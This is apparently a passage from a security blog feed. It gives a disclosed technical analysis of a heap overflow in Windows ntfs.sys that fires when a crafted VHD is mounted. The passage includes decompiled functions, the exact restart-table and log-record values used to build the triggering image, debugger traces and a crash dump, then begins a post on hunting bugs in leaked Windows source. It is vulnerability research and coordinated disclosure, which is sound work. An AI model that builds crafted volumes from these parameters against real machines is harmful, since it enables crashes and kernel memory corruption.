</pre></div>


<p class="wp-block-paragraph">This establishes that the starting cluster lies within the entry, but does not establish that the complete incoming range fits. For <code>TargetVcn = StartingVcn + k</code>, the loop writes to indices <code>k</code> through <code>k + LcnsToFollow - 1</code>. The array overflows when:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
k + LcnsToFollow &amp;gt; ClustersPerPage

</pre></div>


<p class="wp-block-paragraph">The resize check in <code>ntfs!PageUpdateAnalysis</code> only considers whether <code>LcnsToFollow &gt; ClustersPerPage</code>. It does not account for the destination offset <code>k</code>. Consequently, a record whose LCN count fits the nominal capacity can still overflow the destination array.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: plain; title: ; notranslate">
// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table-&amp;gt;EntrySize - 40) &amp;gt;&amp;gt; 3) + 1;
}
else {
    ClustersPerPage = a2-&amp;gt;ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2-&amp;gt;RestartVersion &amp;gt;= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord-&amp;gt;LcnsToFollow;
if ( LcnsToFollow &amp;gt; ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord-&amp;gt;LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4-&amp;gt;Table-&amp;gt;NumberEntries,
      a2-&amp;gt;RestartVersion &amp;gt;= 2u,
      0,
      &amp;amp;Resource); // resize
    ...
}
...

</pre></div>


<p class="wp-block-paragraph">No destination bounds check precedes the write, either in the <code>ntfs!PageUpdateAnalysis</code> function or in <code>ntfs!InitializeRestartState</code>. Incidentally, <code>ntfs!InitializeRestartState</code> accepts <code>DirtyPageTable</code> data as is when the <code>MajorVersion</code> of <code>$LogFile</code> is not zero.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
// ntfs!InitializeRestartState
...
if ( RestartArea-&gt;DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea-&gt;DirtyPageTableLsn,
                                      &amp;Leb,
                                      &amp;RestartAreaLength);
    ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable-&gt;Table;
    if ( RestartArea-&gt;MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable-&gt;Table, 0);
      DirtyPageTable-&gt;Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, &#039;RFtN&#039;);
      DirtyPageTable-&gt;Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable-&gt;Table-&gt;field_A = DirtyPageTable-&gt;Table-&gt;NumberAllocated;
      ExAcquireResourceExclusiveLite(&amp;DirtyPageTable-&gt;Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

</pre></div>


<h3 class="wp-block-heading">Proof of Concept</h3>



<p class="wp-block-paragraph">When the crafted volume is mounted, <code>NTFS</code> performs the following operations:</p>



<ol class="wp-block-list">
<li><code>ntfs!InitializeRestartState</code> reads the serialized <code>DirtyPageTable</code> from <code>$LogFile</code>.</li>



<li>Because the restart area has a nonzero <code>MajorVersion</code>, the complete table is copied into a newly allocated <code>NonPagedPoolNx</code> buffer.</li>



<li><code>ntfs!AnalysisPass</code> begins scanning at the crafted checkpoint.</li>



<li>The next record is the crafted <code>UpdateResidentValue</code> record.</li>



<li>The incoming <code>LcnsToFollow</code> value is 8, equal to <code>ClustersPerPage</code>, so the table-resizing path is not taken.</li>



<li><code>ntfs!PageUpdateAnalysis</code> calls <code>ntfs!FindDirtyPage</code> with <code>TargetAttribute = 0x18</code> and <code>TargetVcn = 7</code>.</li>



<li><code>ntfs!FindDirtyPage</code> selects slot <strong>31</strong> because its range is <code>[0, 8)</code> and therefore contains <strong>VCN </strong>7.</li>



<li>The vulnerable copy writes the eight supplied <strong>LCN </strong>values beginning at destination index seven.</li>
</ol>



<p class="wp-block-paragraph">The PoC crafts restart area uses <code>MajorVersion = 2</code>. This causes <code>Ntfs!InitializeRestartState</code> to allocate a buffer for the serialized <code>DirtyPageTable</code> and copy the table from the image without rebuilding its entries.</p>



<p class="wp-block-paragraph">The PoC creates a <code>RESTART_TABLE</code> with the following properties:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

</pre></div>


<p class="wp-block-paragraph">Each entry contains eight LCN slots:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

</pre></div>


<p class="wp-block-paragraph">All 32 entries are marked as allocated, preventing <code>ntfs!PageUpdateAnalysis</code> from selecting or creating a free slot. Entries zero through 30 use distinct <strong>VCN</strong> ranges that do not match the triggering record. The final entry, slot 31, is configured as follows:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

</pre></div>


<p class="wp-block-paragraph">Because slot 31 is the final entry, data written beyond its <strong>LCN</strong> array also extends beyond the complete <code>RESTART_TABLE</code> allocation. The table allocation has the following size:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

</pre></div>


<p class="wp-block-paragraph">On the snippet below you may see how <code>DirtyPageTable</code> is initialized in runtime as well as part of data corresponded to layout described above.</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
0: kd&gt; p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr &#x5B;r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd&gt; p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr &#x5B;Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd&gt; p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd&gt; db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

</pre></div>


<p class="wp-block-paragraph">The triggering record uses the <code>UpdateResidentValue</code> redo operation, which is dispatched to <code>ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

</pre></div>

<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr &#x5B;r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd&gt; p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

</pre></div>


<p class="wp-block-paragraph">The destination indices are calculated as follows:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

</pre></div>


<p class="wp-block-paragraph">For <code>i = 0..7</code>, the resulting indices are:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
7, 8, 9, 10, 11, 12, 13, 14

</pre></div>


<p class="wp-block-paragraph">Index seven is the final valid element. Indices eight through fourteen are outside the entry:</p>



<p class="wp-block-paragraph">Because the selected entry is slot 31, these seven <strong>LCN</strong> values extend 56 bytes beyond the end of the complete 3096 byte restart-table allocation. </p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr &#x5B;r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr &#x5B;r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd&gt; p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr &#x5B;r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd&gt; p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

</pre></div>


<p class="wp-block-paragraph">Mounting the generated VHD on a system using the affected <code>ntfs.sys</code> reaches the unchecked write in <code>Ntfs!PageUpdateAnalysis</code>:</p>


<div class="wp-block-syntaxhighlighter-code "><pre class="brush: cpp; title: ; notranslate">
1: kd&gt; !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1

BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr &#x5B;r10+rcx*8+20h],rax

STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34

SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

Followup:     MachineOwner
---------
&lt;/pre&gt;
</pre></div>


<p class="wp-block-paragraph">The following exploitation is trivial.</p>



<h3 class="wp-block-heading">Disclosure Timeline</h3>



<ul class="wp-block-list">
<li>September 23, 2025  The vendor was notified of the vulnerability and provided with a technical report.    </li>



<li>September 25, 2025  The vendor completed its internal triage and confirmed the vulnerability. Preliminary timelines for the fix and advisory were provided.</li>



<li>September 26, 2025  The vendor was notified of the planned public disclosure.</li>



<li>January 13, 2026        Security updates were released and the advisory was published.</li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>How to CVE-2025-54916? Low-effort vulnerability research</title>
		<link>https://ptesc.tech/en/how-to-cve-2025-54916-low-effort-vulnerability-research/</link>
		
		<dc:creator><![CDATA[author_vr]]></dc:creator>
		<pubDate>Mon, 15 Sep 2025 11:41:37 +0000</pubDate>
				<category><![CDATA[Vulnerability Research]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[escvr]]></category>
		<category><![CDATA[win]]></category>
		<guid isPermaLink="false">http://localhost:8080/how-to-cve-2025-54916-low-effort-vulnerability-research/</guid>

					<description><![CDATA[How to CVE-2025-54916? Low-effort vulnerability research 💻 Hi, ESC-VR here. The Telegram post format is rarely suitable for analyzing complex vulnerabilities, but the bug we found in the depths of NTFS, fixed in the September patch, could b…]]></description>
										<content:encoded><![CDATA[<p><strong>How to CVE-2025-54916? Low-effort vulnerability research</strong> 💻</p>
<p>Hi, ESC-VR here.</p>
<p>The Telegram post format is rarely suitable for analyzing complex vulnerabilities, but the bug we found in the depths of NTFS, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54916" rel="noopener" target="_blank">fixed in the September patch</a>, could be found in a rather unusual way (<em>and we managed to fit the story into a post</em>).</p>
<p>If you are interested in vulnerability analysis, you have probably heard of CodeQL, SonarQube, Snyk, Semgrep — classic SAST systems. Their common drawback: most often you need full access to the source code. When that is not available, the value of such tools quickly drops to zero, and the complexity of queries makes them difficult to apply to decompiled listings or code fragments.</p>
<p>You need something simple, with an understandable query language and no requirement for a full codebase. Such a solution exists — it is <a href="https://github.com/weggli-rs/weggli" rel="noopener" target="_blank">weggli-rs</a>: an interactive, console utility for performing semantic search. It is suitable for searching through decompiled listings and partial codebases.</p>
<p>What do we mean by &#8220;partial codebases&#8221;? For example, the leaked Windows XP SP1 source code, <a href="https://www.zdnet.com/article/windows-xp-leak-confirmed-after-user-compiles-the-leaked-code-into-a-working-os/" rel="noopener" target="_blank">leaked</a> in 2020. Despite its age, it is an invaluable source of knowledge about the internals of modern Windows.</p>
<p>🎯 <strong>Our goal:</strong> find classic stack overflows via <code>memcpy</code>/<code>memmove</code> calls. We are looking for a function where:</p>
<p>• a buffer is declared on the stack;<br />
• there is a call to <code>memcpy</code>/<code>memmove</code>;<br />
• the address of this stack buffer is passed as the first argument.</p>
